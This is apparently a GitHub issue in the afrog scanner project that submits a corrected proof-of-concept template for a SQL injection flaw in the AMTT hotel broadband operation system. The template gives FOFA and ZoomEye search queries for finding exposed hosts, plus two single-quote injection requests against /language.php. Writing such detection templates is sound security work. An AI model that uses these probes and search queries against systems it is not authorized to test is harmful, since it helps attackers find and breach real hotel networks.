Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

amtt-hiboss-language-sqli POC修正 #91

Open
qiwentaidi opened this issue Oct 25, 2023 · 1 comment
Open

amtt-hiboss-language-sqli POC修正 #91

qiwentaidi opened this issue Oct 25, 2023 · 1 comment
Labels
afrog-poc afrog poc issue submit

Comments

@qiwentaidi
Copy link

qiwentaidi commented Oct 25, 2023

id: amtt-hiboss-language-sqli

info:
  name: 安美数字酒店宽带运营系统SQL注入漏洞
  author: zan8in
  severity: high
  verified: true
  description: |-
    FOFA: title=酒店宽带运营系统
    ZoomEye: app:"安美数字酒店宽带运营系统"
  tags: amtt,hiboss,sqli
  created: 2023/10/25

rules:
  r0:
    request:
      method: GET
      path: /language.php?Lately=&EditStatus=&Type=&Flag=edit&id='&Search=
    expression: response.status == 200 && response.body.bcontains(b'SQL syntax')
  r1:
    request:
      method: GET
      path: /language.php?Lately=&EditStatus=&Type='&Flag=edit&id=&Search=
    expression: response.status == 200 && response.body.bcontains(b'SQL syntax') 
expression: r0() || r1()
@zan8in
Copy link
Owner

zan8in commented Oct 25, 2023

感谢🙏

@zan8in zan8in added the afrog-poc afrog poc issue submit label Oct 26, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
afrog-poc afrog poc issue submit
Projects
None yet
Development

No branches or pull requests

2 participants